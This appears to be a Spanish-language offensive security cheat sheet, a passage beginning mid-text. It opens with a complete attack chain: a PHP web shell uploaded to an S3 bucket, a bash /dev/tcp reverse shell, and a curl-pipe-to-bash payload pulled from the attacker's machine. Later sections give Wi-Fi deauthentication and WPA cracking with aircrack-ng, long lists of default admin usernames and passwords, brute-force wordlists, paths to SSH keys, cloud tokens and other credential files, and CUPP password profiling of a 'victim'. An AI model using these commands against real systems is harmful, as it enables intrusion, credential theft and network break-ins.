echo '<?php system($_GET["cmd"]); ?>' > shell.php
Subir con AWS CLI al bucket del servidor, el archivo shell.php:
aws --endpoint=http://s3.web.com s3 cp shell.php s3://bucket1.com
Para activar el archivo shell.php, se requiere acceder desde el navegador:
http://web.com/shell.php
Concretamente usando el comando "id" en el navegador, para obtener una línea que nos confirma "code execution":
http://web.com/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Ahora es preciso escribir un archivo shell.sh para obtener una "reverse shell" que lance una conexión de vuelta con nuestro equipo, en este caso por el puerto 1337 que no entra en conflicto con ningún servicio ni aplicación habitual.
#!/bin/bash
bash -i >& /dev/tcp/[IP_de_mi_equipo]/1337 0>&1
Ahora es necesario poner con "ncat" en escucha al puerto 1337 con el comando:
nc -nvlp 1337
Para que se ejecute el archivo shell.sh, hay que ejecutar la siguiente línea desde una terminal situada en el directorio del archivo shell.sh:
python3 -m http.server 8000
Entoncer, hay que introducir la siguiente línea en el navegador para cargar el "payload" shell.sh:
http://web.com/shell.php?cmd=curl20[IP_de_mi_equipo]:8000/shell.sh|bash
Y BINGO. Se obtiene una "reverse shell" por el puerto en escucha 1337
🗃️ PSQL (DATABASE)
PSQL es el cliente de línea de comandos de PostgreSQL, que permite a los usuarios interactuar con una base de datos PostgreSQL. Proporciona una interfaz para ejecutar comandos SQL, gestionar bases de datos y realizar otras tareas relacionadas con PostgreSQL.
Instalar:
sudo apt update && sudo apt install psql
Establecer conexión:
psql -U [usuario] -h [localhost_IP] -p [puerto] -d [database_name]
____________________________________________________________________________________________
Comandos para moverse dentro:
\l (Listar bases de datoss)
\c [database] (Cambiar base de dato)
\dt (Mostrar todas las tablas de la base de datos actual)
\du (Mostrar todos los usuarios y sus roles)
\? (Ayuda)
\q (Salir)
📂 CIFS-UTILS (MONTAR DIRECTORIO REMOTO EN EQUIPO)
Para utilizar el CIFS (Common Internet File System) en Linux, generalmente necesitas el paquete cifs-utils. Este paquete contiene herramientas necesarias para montar y trabajar con sistemas de archivos compartidos utilizando el protocolo CIFS/SMB.
NOTA: Una vez montado el recurso compartido remoto en el equipo, CUIDADO, todo cambio realizado a los directorios, subdirectorios y archivos dentro de /mnt, se reflejará el el directorio original remoto.
INSTALAR:
sudo apt install cifs-utils
Crear un directorio para el punto de montaje en la raíz /mnt:
sudo mkdir /mnt/mounted
Montar el recurso compartido del host en el punto de montaje (CON credenciales):
sudo mount -t cifs -o username=[usuario],password=[contraseña] //[host_IP]/recurso compartido/mnt/mounted
Montar el recurso compartido del host en el punto de montaje (SIN credenciales):
sudo mount -t cifs -o username=null,password=null,domain=,rw //[host_IP]/recurso compartido/mnt/mounted
Desmontar el directorio remoto:
sudo unmount /mnt/mounted
🔑 OBTENER CLAVE WIFI (RED LOCAL)
Ruta de archivos de configuración de red WIFI:
/etc/NetworkManager/system-connections/
Buscar contraseña wifi en todos los archivos de la ruta de conexiones (no funciona con "adaptador puente"):
sudo grep -r 'psk=' /etc/NetworkManager/system-connections/
Listar conexiones (para comprobar si hay una conexión wifi o por cable):
nmcli connection show
🔴 SPARROW WIFI
Sparrow-WiFi es un analizador gráfico de Wi-Fi para Linux que ofrece una alternativa más completa a herramientas como inSSIDer y linssid. Algunas características principales son:
- Análisis de espectro Wi-Fi en tiempo casi real tanto para 2.4 GHz como 5 GHz.
- Integración con GPS convencional y GPS de drones/rovers vía mavlink.
- Funcionalidades avanzadas de Bluetooth.
- Interfaz gráfica intuitiva basada en Qt5.
- Es una herramienta versátil diseñada para diferentes escenarios de análisis de redes inalámbricas.
INSTALACIÓN
Para instalar Sparrow-WiFi en distribuciones basadas en Debian, Ubuntu o Kali Linux, seguir estos pasos:
Actualizar el sistema:
sudo apt update && sudo apt upgrade
Instalar las dependencias necesarias:
sudo apt-get install python3-pip gpsd gpsd-clients python3-tk python3-setuptools python3-pyqt5.qtchart
Instalar los paquetes de Python requeridos:
sudo pip3 install QScintilla gps3 dronekit manuf python-dateutil numpy matplotlib
Clonar el repositorio de GitHub:
git clone https://github.com/ghostop14/sparrow-wifi cd sparrow-wifi
Ejecutar la aplicación con privilegios de root:
sudo python3 sparrow-wifi.py
USO BÁSICO
Una vez instalado y ejecutado, Sparrow-WiFi mostrará una interfaz gráfica con varias pestañas:
Pestaña principal: Muestra un escaneo básico de Wi-Fi similar a otras herramientas.
Espectro: Permite visualizar el espectro de frecuencia en tiempo casi real.
Bluetooth: Ofrece funcionalidades de escaneo y análisis de dispositivos Bluetooth.
GPS: Integra información de ubicación geográfica.
Para usarlo, navegar por las diferentes pestañas para acceder a las distintas funciones.
Utilizar los botones y menús para activar/desactivar escaneos y ajustar configuraciones.
NOTA: Consulta la documentación oficial para detalles sobre opciones avanzadas.
🔑 AIRCRACK-NG
Aircrack-ng es una suite de herramientas de código abierto para auditoría de redes inalámbricas. Permite capturar paquetes, crackear contraseñas Wi-Fi (WEP/WPA/WPA2), realizar ataques de desautenticación y analizar la seguridad de redes inalámbricas.
Ver de la herramienta:
🌐 https://www.kali.org/tools/aircrack-ng
INSTALAR:
sudo apt update
sudo apt install aircrack-ng -y
sudo apt install airodump-ng
sudo apt install aireplay-ng
Forzar la desconexión de los equipos conectados a la red wifi para capturar el "handshake" cuando reconecten:
sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 wlan0mon
Seguidamente, capturar paquetes de la conexión inalámbrica "wlan0" para generar un archivo "capture.cap":
sudo airodump-ng --write capture wlan0mon
Usar el archivo .cap generado con Airodump-ng para crackear la red wifi usando una "wordlist":
sudo aircrack-ng -w /usr/share/wordlists/wifite.txt -b 00:11:22:33:44:55 capture.cap
PARÁMETROS:
--help [wordlist] (muestra la ayuda completa de parámetros)
-a [modo] (especifica el tipo de ataque, 1 para WEP, 2 para WPA/WPA2)
-w [wordlist] (archivo de lista de palabras para ataque de fuerza bruta)
-b [BSSID] (filtra por el BSSID del punto de acceso objetivo)
-e [BSSID] (filtra por el nombre de la red, ESSID)
-q (modo silencioso, reduce la salida en pantalla)
-o [archivo] (guarda la clave encontrada en un archivo)
🔑 USUARIOS / CONTRASEÑAS COMUNES
🧑 USUARIOS COMUNES
(con privilegios):
admin
admin1
admin2
admin3
adminaccount
administrator
adminroot
admintest
adminuser
admroot
apache
audit
auditadmin
audituser
backup
cloud
cloudadmin
cloudguest
clouduser
dbadmin
default
dev
developer
developeradmin
devops
devopsadmin
docker
firewall
firewalladmin
ftp
ftpadmin
ftpguest
ftpmanager
ftpuser
guest
httpd
infra
infradmin
infrauser
iotadmin
iotguest
iotmanager
iotuser
itadmin
itmanager
itsupport
kube
kubectl
log
logadmin
loguser
mail
mailadmin
maint
maintenance
manager
master
masteradmin
monitor
monitoring
mysql
netadmin
neteng
netengineer
netman
netmgr
netops
nettech
nginx
nobody
operations
operator
ops
oracle
platform
platformadmin
postgres
poweradmin
poweruser
printadmin
printer
printuser
proftpd
proxy
root
roothacker
rootkit
rootme
rootuser
sa
secadmin
secops
security
securityadmin
servadmin
service
serviceaccount
shadmin
shell
shelladmin
snmp
ssh
sshd
sudoadmin
sudoroot
sudouser
superadmin
superroot
superuser
supervisor
support
svcadmin
sys
sysadmin
sysmaster
sysop
sysops
system
test
user
user1
user2
user3
vpn
vpnadmin
vsftpd
webadmin
webmaster
www-data
🔑 CONTRASEÑAS COMUNES
(de usuarios con privilegios):
1234
12345
123456
12345678
123admin
123qwerty
abc123
access
access123
admin
admin?
admin!
admin1
admin123
admin12345
adminaccount123
adminadmin
administrador
administrador1
administrador123
administrator
administrator1
administrator123
adminlogin
adminpass
adminpassword
adminpassword123
adminroot
admintest123
adminuser123
asdfghjkl
asdfghjkl123
auditadmin123
auditadminpassword
batman
cloudadmin123
cloudadminpassword
dbadmin123
dbadminpassword
default123
default1234
defaultpassword
devops123
devopspassword
docker123
dockerpassword
ftpadmin123
ftpadminpassword
guest123
infra123
infrapassword
iotadmin123
iotadminpassword
itadmin123
itadminpassword
itsupport123
itsupportpassword
kube123
kubepassword
letmein
letmein1
letmein123
letmeinpassword
logadmin123
logadminpassword
login123
loginpassword
logmein
mailadmin123
mailadminpassword
manager123
managerpassword
masteradmin123
masteradminpassword
monitor123
monitorpassword
mypassword
mypassword1
mypassword123
mysecurepassword
mysql123
mysqlpassword
netops123
netopspassword
networkadmin
operator123
operatorpassword
opsadmin123
opspassword
oracle123
oraclepassword
pass1234
passw0rd
passwd123
password
password!
password$
password1
password123
password2
password22
password@
platform123
platformpassword
power123
powerpassword
poweruser123
printadmin123
printadminpassword
proxy123
proxypassword
qwerty
qwerty1
qwerty123
qwertyuiop
root
root?
root!
root1
root123
root12345
rootadmin
rootkit123
rootkitpassword
rootlogin
rootpass
rootpassword
rootroot
rootuser123
saadmin123
sapassword
secure123
securepass123
securepassword
security123
securitypassword
service123
servicepassword
shelladmin123
shelladminpassword
spiderman
sshadmin123
sshadminpassword
sudoadmin123
sudoadminpassword
superadmin123
superman
superroot
superroot123
superuser
superuser123
supervisor123
supervisorpassword
support123
supportpassword
svcadmin123
svcadminpassword
sysadmin1
sysadmin123
sysadmin2
sysadminpassword
sysmaster123
sysmasterpassword
sysops123
sysopspassword
trustno1
trustno1!
trustno1123
trustno123
user
user1
user123
userpassword
webadmin123
webadminpassword
welcome
welcome1
welcome123
welcome1234
welcome2
zxcvbnm
zxcvbnm123
📑 WORDLISTS
WORDLISTS para fuerza bruta sobre 🔑 CONTRASEÑAS de USUARIO:
/usr/share/wordlists/metasploit/password.lst
/usr/share/wordlists/legion/root-userpass.txt
/usr/share/wordlists/dirb/others/names.txt
/usr/share/wordlists/amass/all.txt
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/fern-wifi/common.txt
/usr/share/wordlists/john.lst
/usr/share/wordlists/metasploit/burnett_top_500.txt
/usr/share/wordlists/metasploit/burnett_top_1024.txt
/usr/share/wordlists/metasploit/dangerzone-a.txt
/usr/share/wordlists/metasploit/dangerzone-b.txt
/usr/share/wordlists/metasploit/db2_default_pass.txt
/usr/share/wordlists/metasploit/keyboard_patterns.txt
/usr/share/wordlists/metasploit/mirai_pass.txt
/usr/share/wordlists/metasploit/unix_passwords.txt
/usr/share/wordlists/wfuzz/others/common_pass.txt
WORDLISTS para fuerza bruta sobre 👨 NOMBRES de USUARIOS:
/usr/share/wordlists/dirb/others/names.txt
/usr/share/wordlists/metasploit/namelist.txt
/usr/share/wordlists/dirb/others/best110.txt
/usr/share/wordlists/dirb/others/best1050.txt
/usr/share/wordlists/legion/ssh-user.txt
/usr/share/wordlists/metasploit/db2_default_user.txt
/usr/share/wordlists/metasploit/default_users_for_services_unhash.txt
/usr/share/wordlists/metasploit/ipmi_users.txt
/usr/share/wordlists/metasploit/http_default_users.txt
/usr/share/wordlists/metasploit/idrac_default_user.txt
/usr/share/wordlists/metasploit/mirai_user.txt
/usr/share/wordlists/metasploit/multi_vendor_ccdv_users.txt
/usr/share/wordlists/metasploit/tomcat_mgr_default_users.txt
/usr/share/wordlists/metasploit/unix_users.txt
/usr/share/wordlists/wfuzz/others/names.txt
WORDLISTS para fuerza bruta sobre 🛜 CONTRASEÑAS de WIFI:
/usr/share/wordlists/wifite.txt
/usr/share/wordlists/fern-wifi/common.txt
/usr/share/wordlists/legion/routers-userpass.txt
/usr/share/wordlists/metasploit/dlink_telnet_backdoor.txt
/usr/share/wordlists/metasploit/mirai_pass.txt
WORDLISTS para fuerza bruta sobre 💾 CONTRASEÑAS de SERVICIOS / HARDWARE:
/usr/share/wordlists/metasploit/dlink_telnet_backdoor.txt
/usr/share/wordlists/metasploit/default_pass_for_services_unhash.txt
/usr/share/wordlists/metasploit/flask_secret_keys.txt
/usr/share/wordlists/legion/snmmp-default.txt
/usr/share/wordlists/legion/ssh-betterdefaultpasslist.txt
/usr/share/wordlists/legion/ssh-password.txt
/usr/share/wordlists/legion/telnet-betterdefaultpasslist.txt
/usr/share/wordlists/legion/tomcat-betterdefaultpasslist.txt
/usr/share/wordlists/legion/vnc-betterdefaultpasslist.txt
/usr/share/wordlists/legion/windows-betterdefaultpasslist.txt
/usr/share/wordlists/legion/db2-betterdefaultpasslist.txt
/usr/share/wordlists/legion/ftp-betterdefaultpasslist.txt
/usr/share/wordlists/legion/mssql-betterdefaultpasslist.txt
/usr/share/wordlists/legion/mysql-betterdefaultpasslist.txt
/usr/share/wordlists/legion/oracle-betterdefaultpasslist.txt
/usr/share/wordlists/legion/postgres-betterdefaultpasslist.txt
/usr/share/wordlists/metasploit/http_owa_common_id.txt
/usr/share/wordlists/metasploit/idrac_default_pass.txt
/usr/share/wordlists/metasploit/ipmi_passwords.txt
/usr/share/wordlists/metasploit/joomla.txt
/usr/share/wordlists/metasploit/mirai_pass.txt
/usr/share/wordlists/metasploit/multi_vendor_ccdv_pass.txt
/usr/share/wordlists/metasploit/oracle_default_pass_swords.csv
/usr/share/wordlists/metasploit/postgres_default_pass.txt
/usr/share/wordlists/metasploit/sid.txt
/usr/share/wordlists/metasploit/snmp_default_pass.txt
/usr/share/wordlists/metasploit/superset_secret_keys.txt
/usr/share/wordlists/metasploit/telnet_telnet_asp.net_ajax_versions.txt
/usr/share/wordlists/metasploit/telnet_cdata_fth_b.txt
/usr/share/wordlists/metasploit/ftp.txt
/usr/share/wordlists/metasploit/tomcat_mgr_default_pass.txt
/usr/share/wordlists/metasploit/unix_passwords.txt
/usr/share/wordlists/metasploit/vnc_passwords.txt
/usr/share/wordlists/fasttrack.txt
WORDLISTS para fuerza bruta sobre 🌐 DOMINIOS / SUBDOMINIOS:
/usr/share/wordlists/amass/all.txt
/usr/share/wordlists/nmap.lst
/usr/share/wordlists/dnsmap.txt
/usr/share/wordlists/amass/bitquark_subdomains_top100k.txt
/usr/share/wordlists/amass/p50kprefixes.txt
/usr/share/wordlists/amass/fierce-hostlist.txt
/usr/share/wordlists/amass/jhaddix_all.txt
/usr/share/wordlists/dirb/spanish.txt
/usr/share/wordlists/dirb/common.txt
/usr/share/wordlists/amass/sorted_knock_dnsrecon_econ_fierce_recon-ng.txt
/usr/share/wordlists/amass/subdomains.lst
/usr/share/wordlists/amass/top1mil-5000.txt
/usr/share/wordlists/amass/top1mil-20000.txt
/usr/share/wordlists/amass/top1mil-100000.txt
/usr/share/wordlists/legion/gvit_subdomain_wordlist.txt
/usr/share/wordlists/metasploit/common_roots.txt
/usr/share/wordlists/metasploit/lync_subdomains.txt
/usr/share/wordlists/metasploit/malicious_urls.txt
/usr/share/wordlists/wfuzz/general/admin-panels.txt
/usr/share/wordlists/wfuzz/general/mutations_common_n.txt
WORDLISTS para fuerza bruta sobre 🖥️ NOMBRES DE HOSTS:
/usr/share/wordlists/nmap.lst
/usr/share/wordlists/dirb/others/names.txt
/usr/share/wordlists/amass/jhaddix_all.txt
/usr/share/wordlists/dirb/spanish.txt
/usr/share/wordlists/dirbuster/apache-user-enum-1.0.txt
/usr/share/wordlists/dirbuster/apache-user-enum-2.0.txt
/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
/usr/share/wordlists/metasploit/can_flood_frames.txt
/usr/share/wordlists/wfuzz/general/admin-panels.txt
/usr/share/wordlists/wfuzz/general/medium.txt
/usr/share/wordlists/wfuzz/general/megabeast.txt
/usr/share/wordlists/wfuzz/general/mutations_common_n.txt
/usr/share/wordlists/dnsmap.txt
📁 ARCHIVOS Y RUTAS SENSIBLES EN LINUX
Rutas de archivos sensibles de interés en Linux (👨USUARIO):
/home/usuario/.bash_history (historial de comandos bash → puede revelar contraseñas)
/home/usuario/.ssh/id_rsa (clave privada SSH → acceso a otros sistemas)
/home/usuario/.ssh/authorized_keys (claves públicas autorizadas → pivoting)
/home/usuario/.ssh/known_hosts (lista de hosts SSH conocidos → para moverte lateralmente)
/home/usuario/.bashrc (alias y funciones personalizadas → posibles credenciales)
/home/usuario/.profile (variables de entorno cargadas al login)
/home/usuario/.git-credentials (credenciales HTTP de Git → a veces usuario:pass en texto)
/home/usuario/.gnupg (claves GPG privadas → cifrado y firmas)
/home/usuario/.netrc (credenciales para FTP, HTTP → hosts, usuarios y contraseñas)
/home/usuario/.my.cnf (configuración MySQL → usuario y contraseña para conexiones)
/home/usuario/.pgpass (contraseñas PostgreSQL → formato host:port:db:user:pass)
/home/usuario/.npmrc (tokens NPM → acceso a registries privados)
/home/usuario/.pypirc (credenciales PyPI → usuario y contraseña para uploads)
/home/usuario/.gem/credentials (credenciales RubyGems → API keys para gems)
/home/usuario/.subversion/auth/ (credenciales Subversion → usuarios y contraseñas cached)
/home/usuario/.mysql_history (historial de comandos MySQL → queries con creds)
/home/usuario/.psql_history (historial de comandos PostgreSQL → similar a MySQL)
Rutas de archivos sensibles de interés en Linux (⚙️ARCHIVOS DEL SISTEMA):
/etc/passwd (lista de usuarios del sistema. no contiene contraseñas)
/etc/shadow (hashes de contraseñas → solo accesible como root)
/etc/group (grupos del sistema → ver si el usuario está en sudo)
/etc/hostname (nombre del host)
/etc/hosts (mapeo IP ↔ nombre → puede revelar entornos internos)
/etc/resolv.conf (servidores DNS configurados)
/etc/sudoers (configuración de sudo → privilegios de usuarios)
/etc/fstab (montajes de filesystems → posibles creds en opciones de mount como NFS/SMB)
/etc/crontab (cron jobs del sistema → scripts con comandos sensibles o creds)
/etc/aliases (aliases de email → redirecciones y usuarios)
/etc/os-release (detalles del SO → versión y distribución para exploits)
/etc/lsb-release (información de distribución → similar a os-release)
/etc/issue (mensaje de identificación del sistema → banners pre-login)
/etc/motd (Message Of The Day → info personalizada post-login)
Rutas de archivos sensibles de interés en Linux (⚙️CONFIGURACIÓN DE SERVICIOS):
/etc/ssh/sshd_config (configuración SSH → puede revelar usuarios PermitRootLogin)
/etc/apache2/apache2.conf (configuración Apache)
/etc/nginx/nginx.conf (configuración Nginx → posibles rutas ocultas)
/etc/mysql/my.cnf (configuración MySQL → a veces incluye usuario y contraseña)
/etc/postgresql/pg_hba.conf (autenticación PostgreSQL → métodos de auth y usuarios)
/etc/redis/redis.conf (configuración Redis → requirepass para contraseña)
/etc/mongod.conf (configuración MongoDB → auth, usuarios y roles)
/etc/php/php.ini (configuración PHP → expose_php, allow_url_fopen con riesgos)
/etc/dovecot/dovecot.conf (configuración email IMAP/POP → auth mechanisms con creds)
/etc/postfix/main.cf (configuración SMTP → relayhost con posibles creds)
/etc/samba/smb.conf (configuración Samba → shares con usuarios y contraseñas)
/etc/ldap/ldap.conf (configuración LDAP → binddn y bindpw para auth)
/var/www/html/config.php (configuración de webs PHP → claves DB, API keys)
/var/www/html/.env (variables de entorno web → claves API, DB, JWT)
Rutas de archivos sensibles de interés en Linux (💾ARCHIVOS DE LOGS):
/var/log/auth.log (logins exitosos y fallidos → bruteforce detectado)
/var/log/secure (iIgual que auth.log (en RedHat)
/var/log/apache2/access.log (peticiones web → puede revelar parámetros y ataques)
/var/log/apache2/error.log (errores web → paths internos, errores SQL)
/var/log/mysql/error.log (errores de MySQL → usuarios y contraseñas a veces)
/var/log/syslog (logs generales del sistema → eventos variados)
/var/log/messages (mensajes del sistema → similar a syslog en algunas distros)
/var/log/kern.log (logs del kernel → hardware y drivers sensibles)
/var/log/dmesg (mensajes de boot → dispositivos y configs iniciales)
/var/log/nginx/access.log (peticiones Nginx → similar a Apache access)
/var/log/nginx/error.log (errores Nginx → leaks de info interna)
/var/log/postgresql/postgresql.log (logs PostgreSQL → queries y errores con creds)
/var/log/redis/redis.log (logs Redis → conexiones y comandos sensibles)
/var/log/cron (logs de cron jobs → ejecuciones fallidas con detalles)
/var/log/audit/audit.log (logs de auditoría → eventos de seguridad detallados)
Rutas de archivos sensibles de interés en Linux (🪪CREDENCIALES Y API KEYS):
/var/www/html/.env (variables de entorno → API keys, DB credentials)
/var/www/html/wp-config.php (configuración WordPress → DB usuario y contraseña)
/var/www/html/config.php (configuración genérica → a veces claves duras)
/var/www/html/.htpasswd (archivos de contraseñas HTTP Basic Auth)
/var/www/html/.git/config (URLs de repositorios → puede contener tokens)
/etc/environment (variables de entorno system-wide → posibles secrets)
/etc/jenkins/jenkins.model.JenkinsLocationConfiguration.xml (config Jenkins → URLs y creds)
/var/www/html/laravel/.env (env Laravel → app keys, DB creds)
/var/www/html/drupal/sites/default/settings.php (config Drupal → DB y site keys)
/home/usuario/.env (env user-specific → creds locales)
/home/usuario/.composer/auth.json (credenciales Composer → tokens GitHub/Packagist)
/home/usuario/.maven/settings.xml (config Maven → server creds para repos)
Rutas de archivos sensibles de interés en Linux (🔑CLAVES Y TOKENS):
/root/.ssh/id_rsa (clave privada SSH root)
/etc/ssl/private/ (claves privadas SSL)
/home/usuario/.aws/credentials (credenciales AWS → acceso cloud)
/home/usuario/.docker/config.json (tokens Docker → acceso a registries privados)
/home/usuario/.ssh/id_rsa (aquí se encontraría la Clave Privada de OpenSSH)
/home/usuario/.kube/config (config Kubernetes → tokens y certs para clusters)
/home/usuario/.config/gcloud/credentials.db (credenciales Google Cloud → access tokens)
/home/usuario/.azure/config.json (config Azure → subscription IDs y keys)
/home/usuario/.config/digitalocean/config.json (tokens DigitalOcean → API access)
/home/usuario/.terraformrc (config Terraform → provider creds)
/home/usuario/.config/heroku/credentials (credenciales Heroku → API keys)
/home/usuario/.vault-token (tokens Vault → secrets management)
/etc/letsencrypt/live (claves y certs Let's Encrypt → dominios)
Rutas de archivos sensibles de interés en Linux (*️⃣OTROS):
/proc/self/environ (variables de entorno del proceso actual)
/proc/net/tcp (conexiones TCP activas → puede revelar servicios internos)
/proc/cmdline (parámetros del kernel al arrancar → posibles creds)
/proc/sched_debug (información detallada de procesos → a veces sensible)
/proc/self/cmdline (command line del proceso actual → args con datos)
/proc/mounts (filesystems montados → tipos y opciones con creds)
/sys/class/net/ (interfaces de red → MAC, IPs, configs)
/var/spool/cron/crontabs/ (crontabs de usuarios → jobs con scripts y creds)
/etc/cron.d/ (directorios cron → jobs programados con info)
/etc/init.d/ (scripts de init → comandos de startup con creds)
/proc/cpuinfo (detalles de CPU → para fingerprinting hardware)
/proc/meminfo (info de memoria → uso y límites)
/etc/security/limits.conf (límites de recursos → configs de usuarios)
🔑 COMMON USER PASSWORD PROFILER (cupp)
CUPP, o Common User Passwords Profiler, es una herramienta automatizada escrita en Python diseñada para ayudar a los usuarios a generar listas de palabras posibles basadas en información sobre un objetivo específico. Esta herramienta se utiliza comúnmente en pruebas de penetración legales y en investigaciones forenses para identificar posibles contraseñas o nombres de usuario que podrían ser utilizados por un atacante. Al interactuar con el usuario y hacerle responder preguntas fundamentales sobre el objetivo, como nombre, nombre del compañero, nombre de la empresa, etc., CUPP genera listas de palabras únicas que pueden ser utilizadas para ataques de fuerza bruta o para intentos de crackeo de contraseñas.
Se pueden modificar la configuración de la herramienta mediante el archivo cupp.cfg, donde se puede personalizar cómo se generan las listas de palabras. Conviene añadir más años a la lista de años, así como modificar los parámetros del Modo L337 o incorporar algún caracter especial más, como "?". El archivo requiere permisos para su modificación.
INSTALAR:
git clone https://github.com/Mebus/cupp.git
MOSTRAR PANEL DE AYUDA (en carpeta contenedora):
./cupp.py
EJECUTAR EN MODO INTERACTIVO (en carpeta contenedora):
./cupp.py -i
PREGUNTAS del MODO INTERACTIVO:
* Si se desconoce un campo, dejarlo en blanco
* El archivo generado tendrá el nombre de la víctima (nombre.txt)
- Nombre de la víctima
- Apellido de la víctima
- Apodo de la víctima
- Fecha de nacimiento de la víctima (formato día / mes / año)
- Nombre de la pareja
- Apodo de la pareja
- Fecha de nacimiento de la pareja
- Nombre del hijo/a
- Apodo del hijo/a
- Fecha de nacimiento del hijo/a
- Nombre de la mascota
- Nombre de la empresa
- ¿Desea añadir palabras clave extra? palabras separadas por ","
- ¿Desea añadir caracteres especiales? y/n
- ¿Desea añadir números aleatorios al final de las palabras? y/n
- ¿Activar Modo L337? y/n
- ¿Activar Modo L337? y/n
- ¿Hyperspeed Print? y/n (se refiere a mostrar o no el proceso por consola)
🌐 DIRBUSTER
DirBuster es una aplicación multihilo desarrollada en Java que se utiliza para realizar ataques de fuerza bruta contra los nombres de directorios y archivos en servidores web o de aplicaciones. Su objetivo es encontrar páginas y aplicaciones ocultas que podrían existir en un servidor web que parece estar en su configuración predeterminada pero en realidad tiene contenido adicional.
Instalación:
sudo apt install dirbuster
Escaneo de directorios y archivos en la IP o URL. Por defecto utiliza la wordlist:
/usr/share/dirb/wordlists/common.txt
dirb http://10.10.100.100 (Realiza petición sin cifrado a una dirección IP)
dirb https://10.10.100.100 (Realiza petición con cifrado a una dirección IP)
dirb http://web.com (Realiza petición sin cifrado a una dirección Web)
dirb https://web.com (Realiza petición sin cifrado a una dirección Web)
Las wordlist adicionales deben estar en formato .txt y tener los permisos 744 otorgados por Root:
sudo chmod 744 wordlist.txt
Para ejecutar una wordlist distinta de common.txt:
dirb https://web.com /usr/share/dirb/wordlists/wordlist.txt
WORDLISTS:
/usr/share/dirb/wordlists/common.txt
/usr/share/dirb/wordlists/big.txt
/usr/share/dirb/wordlists/small.txt
/usr/share/dirb/wordlists/indexes.txt
/usr/share/dirb/wordlists/spanish.txt
/usr/share/dirb/wordlists/catala.txt
/usr/share/dirb/wordlists/extensions_common.txt
/usr/share/dirb/wordlists/mutations_common.txt
PARÁMETROS (se introducen al final de la línea):
-a [agent_string] (Especifica tu propio agente USER_AGENT. El valor predeterminado es: "Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1)")
-b (No comprime ni fusiona secuencias de /../ o /./ en la URL proporcionada)
-c [cookie_string] (Establece una cookie para la solicitud HTTP)
-E [certificate] (Usa el archivo de certificado cliente especificado)
-f (Ajuste fino de detección de NOT_FOUND (404))
-H [header_string] (Agrega un encabezado personalizado a la solicitud HTTP)
-i (Usa búsqueda sin distinción entre mayúsculas y minúsculas)
-l (Imprime el encabezado "Location" cuando se encuentra)
-N [nf_code] (Ignora las respuestas con este código HTTP)
-o [tracefile] (Guarda la salida en el disco)
-p [proxy:port] (Usa este proxy. El puerto predeterminado es 1080)
-P [proxy_username:proxy_password] (Autenticación del proxy)
-r (No buscar recursivamente)
-R (Recursión interactiva. Se le preguntará en qué directorios desea escanear)
-S (Modo silencioso. No muestra las palabras probadas)
-t (No fuerza un final '/' en las URLs)
-u [username:password] (Nombre de usuario y contraseña a utilizar)
-v (Muestra también páginas no existentes)
-w (No se detiene en los mensajes de ADVERTENCIA)
-x [extension_file] (Amplía la búsqueda con las extensiones en este archivo)
-X [ext] (Amplía la búsqueda con estas extensiones)
-z [milisecs] (Amplía la búsqueda con estas extensiones)
NOTA: dirb puede durar desde unos minutos hasta varias horas
🌐 GOBUSTER
Gobuster es una herramienta activa, escrita en Go que se utiliza para realizar escaneos de fuerza bruta en directorios y archivos web, así como en subdominios DNS y nombres de hosts virtuales. Está diseñada para ser rápida y eficiente, aprovechando la naturaleza concurrente del lenguaje Go para enviar solicitudes de manera paralela y acelerar los procesos.
WORDLISTS DE DOMIONIOS DE KALI:
/usr/share/dirb/wordlists/common.txt
/usr/share/dirb/wordlists/big.txt
/usr/share/dirb/wordlists/small.txt
/usr/share/dirb/wordlists/indexes.txt
/usr/share/dirb/wordlists/spanish.txt
/usr/share/dirb/wordlists/catala.txt
/usr/share/dirb/wordlists/extensions_common.txt
/usr/share/dirb/wordlists/mutations_common.txt
WORDLISTS DE DOMIONIOS DESCARGABLES:
🌐 Daniel Miessler SecList
Escanear el servidor de la IP dada usando la Wordlist dada:
gobuster dir -u 10.10.100.100 -w /usr/share/dirb/wordlists/common.txt
Escanear el servidor de la IP dada usando la Wordlist dada, guardando el output en un archivo:
gobuster dir -u 10.10.100.100 -w /usr/share/dirb/wordlists/common.txt > scan.txt
Si tira algún error de código de estado que haya que excluir, como por ejemplo el 301, se podrá excluir así:
gobuster dir -u 10.10.100.100 -w /usr/share/dirb/wordlists/common.txt -b 301
Usando modo VHOST:
gobuster vhost -u https://web.com -w /usr/share/dirb/wordlists/common.txt -t 20 | grep -v "403"
Escaneando mi web:
gobuster dir -u https://sf01web.wixsite.com/sf01/ -w /home/sf01ghost/Seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -b 403,404,429,301 -x php,txt,html,pdf,doc,gif,png,jpeg
Significado de los Códigos de Estado según indica el primer dígito:
1** (Respuesta informativas)
2** (Éxito)
3** (Redirección)
4** (Error del cliente)
5** (Error del servidor)
Algunos Códigos de Estado:
200 (La solicitud fue exitosa y el recurso solicitado está en la respuesta)
201 (Se creó un nuevo recurso como resultado de la solicitud)
204 (La solicitud fue exitosa, pero no hay contenido para enviar en la respuesta)
301 (El recurso solicitado ha sido movido permanentemente a otra URL)
304 (El recurso no ha sido modificado desde la última solicitud, y por tanto no es necesaria ninguna acción)
400 (La solicitud no pudo ser entendida o procesada por el servidor debido a una sintaxis inválida)
401 (Se requiere autenticación para acceder al recurso solicitado)
403 (El cliente no tiene permiso para acceder al recurso solicitado)
404 (El recurso solicitado no se encuentra en el servidor)
409 (La solicitud no pudo completarse debido a un conflicto con el estado actual del recurso)
410 (El recurso solicitado ya no está disponible y no se espera que vuelva a estar)
500 (Ocurrió un error inesperado en el servidor que impidió completar la solicitud
Comandos de MODO (se indica justo después del binario):
dir (Usa modo de enumeración de directorio/archivo)
dns (Usa modo de enumeración de subdominio DNS)
fuzz (Usa modo fuzzing)
help (Ayuda sobre cada comando)
s3 (Usa modo de enumeración de aws bucket)
version (Muestra la versión actual)
vhost (Usa modo de enumeración VHOST. Modo agresivo que utiliza fuerza bruta)
PARÁMETROS para el modo DIR (directorio):
-u [url] (La URL base a la que se realizará el escaneo)
-w [wordlist] (La ruta al archivo de palabras a usar para el escaneo)
-n (Excluye la visualización de códigos de estado HTTP en la salida)
-x [ext] (Busca archivos con las extensiones especificadas. php,txt,html,pdf,doc,png,gif,jpeg)
